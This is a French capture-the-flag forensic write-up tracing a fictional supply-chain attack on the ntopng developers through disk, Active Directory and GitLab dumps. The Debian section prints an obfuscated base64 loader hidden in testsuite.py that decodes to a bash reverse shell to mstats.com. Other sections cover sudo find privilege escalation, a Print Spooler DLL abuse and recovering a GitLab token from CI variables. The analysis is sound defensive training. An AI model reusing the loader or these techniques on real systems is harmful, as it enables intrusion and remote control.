pfSuspense...

Bilal-Rayane M., Nolan D., Louca G., Rayan C., Gabin R., Robin V.

← pfSuspense... · Mais que s’est il passé ? / 2e étape / Entrez, la porte est ouverte ! / Ouvre ce mail… si tu l’oses !

Ouvre ce mail… si tu l’oses !

Une autre entreprise vous contacte, afin de comprendre comment les mêmes attaquants ont pu compromettre leur infrastructure.

Un grand bravo à vous !

Grâce à la finesse de votre analyse, vous avez pu identifier que l'attaquant s'est latéralisé sur le réseau de **l'IAA**, depuis le pare-feu jusqu'à un serveur applicatif hébergeant des fichiers confidentiels.

Votre renommée d'analyste en cybersécurité n'est plus à faire ! Le bruit court, et votre nom apparaît désormais dans les plus grandes revues spécialisées du secteur. C'est grâce à vous qu'on sait comment toutes les entreprises utilisant **pfSense** se sont fait compromettre : via une attaque par supplychain, en exploitant une vulnérabilité dans le paquet tiers **ntopng**.

Ce matin, vous recevez un e-mail de la part des développeurs de **ntopng**: L'entreprise **Lunar Wings**. Ils vous remercient pour votre travail de recherche et d'analyse, qui a permis de mettre en lumière cette attaque de grande ampleur.

Cependant, **Lunar Wings** ne savent pas comment les attaquant ont pu insérer ce code malveillant dans **ntopng**. Ils vous demandent donc votre aide pour enquêter sur cette compromission.

Comme dans le cas de **l'IAA**, ils vous fournissent un schéma d'architecture de leur infrastructure de développement.

De plus, ils vous fournissent:

- Une archive contenant tout le disque d'un poste d'un développeur, suspecté d'avoir été compromis par l'attaquant, au vu de ses performances réseau anormalement élevées.

- Les logs de l'Active Directory, issus de leur contrôleur de domaine.

- Un dump complet de leur serveur GitLab hébergeant les sources de **ntopng**.

Votre ultime mission est donc d'identifier comment l'attaquant a pu pénétrer dans l'infrastructure de **Lunar Wings**, et comment il a pu insérer sa porte dérobée dans le code source de leur application.

Cote 95 pts

Indices

Tester, c'est douter
Savez-vous imprimer une feuille A4 ?
Saviez-vous que l'on peut cloner un dépôt autrement que par ssh ?

Faire son rapport

Nous attendons seulement à deux dates, celle de clone et de push
Nous parlons ici des `Access Tokens`: https://docs.gitlab.com/security/tokens/

Résolution du premier dump

Première entrée

Nous avons l'architecture de fichiers d'une machine Debian.

On trouve dans le répertoire /home/clagrange un fichier testsuite.py dans
lequel une variable nommée random est définie comme une liste, puis remplie
avec différentes chaînes de caractères de manière éparpillée au fil du code :

random = [0, 0, 0, 0, 0] # ligne 10
random[3] = "dOd0wyMXpkR0YwY3k1amIyMHZPREFn" # ligne 57
random[1] = "NlNjQuYjY0ZGVjb2RlKCJMMkpwYmk5" # ligne 73
random[0] = "aW1wb3J0IG9zCm9zLnN5c3RlbShiYX" # ligne 102
random[4] = "TUQ0bU1TQW0iKS5kZWNvZGUoKSk=" # ligne 131
random[2] = "aVlYTm9JQzFwSUQ0bUlDOWtaWFl2ZE" # ligne 171

Au sein d'un test, les chaînes de caractères sont rassemblées et décodées de la
base64 et le résultat est alors exécuté :

exec(base64.b64decode("".join(random)).decode()) # ligne 180

On décode donc de la base64 :

import os
os.system(base64.b64decode("L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL21zdGF0cy5jb20vODAgMD4mMSAm").decode())

En décodant cette nouvelle base64, une commande permettant d'obtenir un reverse
shell apparaît et donc notre premier flag.

Élévation de privilèges

Cette partie se fait à partir de l'analyse du dump de la machine Debian.

L'une des méthodes plus classiques d'élévation de privilèges est l'utilisation
de permissions sudo mal configurées. On peut donc vérifier le contenu du
fichier sudoers dans le répertoire etc et on y trouve :

clagrange   ALL=(root) NOPASSWD: /usr/bin/find

L'utilisateur clagrange peut donc utiliser la commande find en tant que
root sans mot de passe. find, si lancé avec des privilèges root, permet
d'obtenir un shell root, et on peut confirmer si cela a eu lieu en vérifiant le
fichier /var/log/auth.log, qui trace, entre autres, les utilisations de sudo
et on y trouve bien, à la ligne 17, une utilisation de find permettant
d'obtenir un shell root.

On a donc trouvé les deuxième et troisième flags.

Résolution EVTX

Nous disposons de logs provenant de plusieurs machines du réseau local (LAN). L’analyse se concentre dans un premier temps sur les logs du contrôleur de domaine DC, afin d’identifier les vecteurs de compromission.

DC

Plusieurs indicateurs de compromission ont été identifiés dans les logs, permettant de retracer les étapes de l’attaque.

1. Chargement d’une DLL non signée

Un événement suspect a été détecté dans les logs de type Microsoft-Windows-Sysmon, daté du 28 juillet 2025 à 16:34:04.051226 (UTC) :

  • Une DLL non signée a été chargée en mémoire.
  • Cette DLL a été créée peu de temps avant son exécution par un processus malveillant.

Non signé

2. Emplacement et comportement suspect de la DLL

La DLL en question présente plusieurs caractéristiques anormales :

Emplacement non conventionnel :
* Elle a été déposée dans le dossier C:\Windows\System32\spool\driver au lieu du chemin standard C:\Windows\System32\spool\drivers.
* Enregistrement d’un port d’imprimante malveillant : Le même exécutable a configuré un port d’imprimante pointant vers cette DLL, ce qui suggère une exploitation de la vulnérabilité Spouleur d'impression.

Création du fichier

3. Exécution de fichiers suspects et élévation de privilèges

Des traces d’exécution ont été relevées depuis le répertoire :\
<Data Name="CurrentDirectory">C:\Windows\Temp\tools\PrivEsc\</Data>

L’exécutable a lancé une série de commandes visant à :
* Charger la DLL malveillante.
* Exploiter le mécanisme Windows Error Reporting (WER) pour obtenir une élévation de privilèges.

Commandes exécutées :

Commande 1
Commande 2
Commande 3
Commande 4

Résultat :
* La DLL malveillante a permis le lancement d’un cmd.exe avec des privilèges élevés.
* La machine DC a été compromise au niveau le plus critique, via une élévation de privilèges.

Création du fichier

Privilège élevé

Synthèse de l’attaque\
L’attaquant a exploité une vulnérabilité du service Spouleur d'impression pour :

  1. Déposer une DLL malveillante dans un emplacement non standard.
  2. Utiliser Windows Error Reporting (WER) pour exécuter du code arbitraire avec des droits administrateurs.
  3. Obtenir un accès complet au contrôleur de domaine.

Utilisateur compromis

Suite à la compromission du contrôleur du domaine (DC), les logs de type Microsoft-Windows-Security-Auditing ont enregistré différents évènements suspects comme :

  1. Le reset du mot de passe d'un utilisateur - EventID=4724

Reset du mdp

  1. Changement du mot de passe - EventID=4723

Change du mdp

  1. Authentification sur l'utilisateur depuis l'ip du Debian 01 - EventID=4624

Authentifier sur l'utilisateur

Résolution du dump du gitlab

Nous nous intéressons désormais au dump de la DMZ, qui contient un gitlab self-hosted.

On extrait les fichiers:

tar xzvf INFRA01-dump.tar.gz

Connection de l'attaquant à INFRA01

On sait que l'attaquant a compromis deux machines:
- DC01: 10.0.0.2
- DEBIAN01: 10.0.0.112
- WINDOWS01: 10.0.0.113

Et que l'attaque sur l'active directory a commencé à partir du 28 juillet 2025.

En cherchant dans les logs d'authentification (/mnt/var/log/auth.log), on trouve une connection SSH en root d'une IP d'une machine compromise.

Connection SSH

Analyse du repo git infecté

Tout d'abord, nous devons chercher le dépôt git qui a été compromis. Nous savons qu'il sagit de celui de ntopng.

Nous cherchons les dépôts git dans le dump avec la commande find:

Recherche de dépots

On y trouve trois dépôts, ainsi que leur wifi associés.

Cependant, on s'aperçoit que ces dépôts sont au format "bare", c'est à dire qu'ils ne contiennent pas de copie de travail.

Pour obtenir le code source, plusieurs techniques sont possibles, comme par exemple copier le .git dans un nouveau répertoire et créer une copie de travail avec git checkout. Cependant, une méthode plus simple est d'utiliser la commande git clone directement sur le dépôt bare.

On clone donc les dépôts:

Clonage des depots

On analyse le code source de chaque dépôts.

Fichier README.md du premier dépôt:

README.md du premier dépôt

On constate que ce dépôt correspond bien à ntopng.

Fichier README.md du deuxième et troisième dépôt:

README.md du deuxième dépôt

On constate que ce dépôt correspond à nDPI, une bibliothèque utilisée par ntopng.

Comme on sait que le paquet infecté est ntopng, on se concentre sur le premier dépôt.

Recherche du code malveillant

On sait que l'attaquant a réalisé un exfiltration dns à destination du domaine mstats.com.

On cherche dans le code source des occurrences de ce domaine:

Recherche dans le code source

On trouve une occurence dans un certain fichier. Si on ouvre le fichier, on voit bien une exfiltration dns en base64.

On remarque également que la toolchain a été modifiée pour ajouter une librairie c-plus-plus de client DNS, ldns.

Hash du commit, timestamp

On effectue un git log sur le fichier pour trouver le commit où l'attaquant a ajouté ce code malveillant.

Git log du fichier

Fichier sensible trouvé sur le dépôt

La question posée est:

Comment l'attaquant a t-il pu insérer ce code malveillant dans ntopng?

On cherche dans le dépôt des fichiers de configuration d'intégration continue, comme .gitlab-ci.yml ou .github/workflows.

On trouve un fichier .gitlab-ci.yml, et on y trouve un job qui utilise un token d'accès pour clone l'autre dépôt, nDPI, en utilisant un Access Token.

Fichier .gitlab-ci.yml

On comprends donc que ce fichier, visible par l'attaquant, lui a donné une piste pour insérer du code malveillant dans le dépôt ntopng.

Clone du dépôt, push du code source

On sait que l'attaquant a ajouté le commit le 29 juillet, que l'active directory a été compromis le 28 juillet.
On cherche alors des logs dans cet intervalle de temps, sur la machine INFRA01.

On s'interessé alors au logs shell de gitlab, situés dans /mnt/var/log/gitlab/gitlab-shell/gitlab-shell.log.

On constate qu'il y a plusieurs commandes reçues.

En lisant la documentation de git, pour la commande upload et receive-pack, on comprend que:

  • gitlab-upload-pack: correspond à un clone du dépôt
  • gitlab-receive-pack: correspond à un push du dépôt

Cependant, on voit qu'il n'y a pas de timestamp dans l'intervalle recherché.

Néanmoins, on trouve également des logs nginx dans /mnt/var/log/gitlab/nginx/gitlab_access.log.

En effet, il est possible de clone en https, ce qui génère des logs nginx.

En cherchant dans ces logs, on trouve bien des timestamps et des IPs qui correspondent à une machine compromise.

!Recherche des logs nginx

Le jeton d'accès utilisé par l'attaquant

On sait que l'attaquant a utilisé un jeton d'accès pour cloner le dépôt ntopng. On sait également que ce jeton est stocké dans une variable de CI, nommée DEBUG, selon le fichier .gitlab-ci.yml.

Re-création du serveur postgresql

On trouve deux occurences dans la base de données postgresql de gitlab, qu'il faut re-créer pour extraire le token.

On affiche la version de postgresql:

➜  mnt cat var/opt/gitlab/postgresql/VERSION 
postgres (PostgreSQL) 16.10

On télécharge la version 16:

sudo apt-get install postgresql-16

On lance postgres:

/usr/lib/postgresql/16/bin/postgres -D var/opt/gitlab/postgresql/data/

Mais on obtiens cette erreur:

FATAL:  could not load root certificate file "/opt/gitlab/embedded/ssl/certs/cacert.pem": No such file or directory
LOG:  database system is shut down

Cela est normal, car le /opt de notre système n'est pas celui du dump.

Il est possible de faire un lien symbolique de /opt vers /mnt/opt, mais cela n'est pas très propre, il est préfèrable de modifier la configuration de postgres.

On fais un grep des paths absolus dans le dossier de postgres, nottamment via les paths /var et /opt.

!Grep des paths absolus

On ouvre le fichier var/opt/gitlab/postgresql/data/postgresql.conf et on modifie les paths qui commencent par /var en /mnt/var

unix_socket_directories = '/mnt/var/opt/gitlab/postgresql'   # (change requires restart)
ssl_ca_file = '/mnt/opt/gitlab/embedded/ssl/certs/cacert.pem'

On retire l'authentification en remplaçant peer map=gitlab par trust dans le fichier pg_hba.conf.

On lance postgres, et cette fois le serveur se lance.

On ouvre une autre console et on se connecte à la base de données gitlab:
- On précise le path de la socket unix (-h)
- On précise le port 5432 (-p)
- On précise l'utilisateur gitlab-psql (-U)
- On précise la base de données gitlabhq_production (-d)

Toutes ces informations sont disponibles dans le fichier pg_hba.conf et postgresql.conf.

/usr/lib/postgresql/16/bin/psql -h /mnt/var/opt/gitlab/postgresql/ -p 5432 -U gitlab-psql -d gitlabhq_production 

On cherche dans la table personal_access_tokens, mais tout est chiffré.

On cherche alors dans la table ci_variables, car on sait que le token est stocké dans une variable de CI grâce au fichier .gitlab-ci.yml.

!Requête ci_tokens

On voit bien que la valeur de la variable est bien DEBUG, tout comme dans le fichier .gitlab-ci.yml.

Il suffit donc de décoder la valeur base64 pour obtenir le token.

Identification du token avec grep et strings

Il existe une solution alternative pour identifier la table ci_variables dans laquelle le token est stocké, ou bien si on ne veux pas monter un serveur postgresql.

On sait que le jeton d'accès peut-être de différents types.

En se référant à la documentation Gitlab sur les Access Tokens, on y voit qu'il existe plusieurs types de tokens avec chacun des préfixes différents:

!Types de tokens Gitlab

On peux utiliser le préfixe pour chercher le token dans le dump. On sait également que le token est sous format base64, il faut donc l'encoder avant de le chercher.

En essayant avec le préfixe glpat-, on trouve des correspondances dans les fichiers postgresql:

➜  mnt grep -r $(echo -n "glpat-" | base64) 
grep: var/opt/gitlab/postgresql/data/pg_wal/00000001000000000000000A: binary file matches
grep: var/opt/gitlab/postgresql/data/base/16386/22059: binary file matches

On peux alors faire la requête SQL suivante afin de savoir le nom de la table associée à ce fichier:

SELECT
    relname,
    relkind,
    relfilenode,
    pg_namespace.nspname
FROM pg_class
JOIN pg_namespace ON pg_namespace.oid = pg_class.relnamespace
WHERE relfilenode = 22059;

ce qui nous donne:

!Requête inode

On voit que ce fichier correspond à la table ci_variables. On aurait pu le deviner, car le token était stocké dans une variable de ci selon le fichier .gitlab-ci.yml. Cela permet de nous le nom de la table pour chercher le token si on veux monter le serveur postgresql.

Encore plus simple, on peux chercher directement le token dans le fichier var/opt/gitlab/postgresql/data/base/16386/22059 avec strings et grep:

!Requête strings et grep

On voit le token encodé en base64, que l'on peut décoder pour obtenir le token final. Cependant cette technique n'est pas très propre, car on peut obtenir des faux positifs, il faut connaître le préfixe du token, et rien ne nous assure que le token correspond bien à la valeur de la variable DEBUG.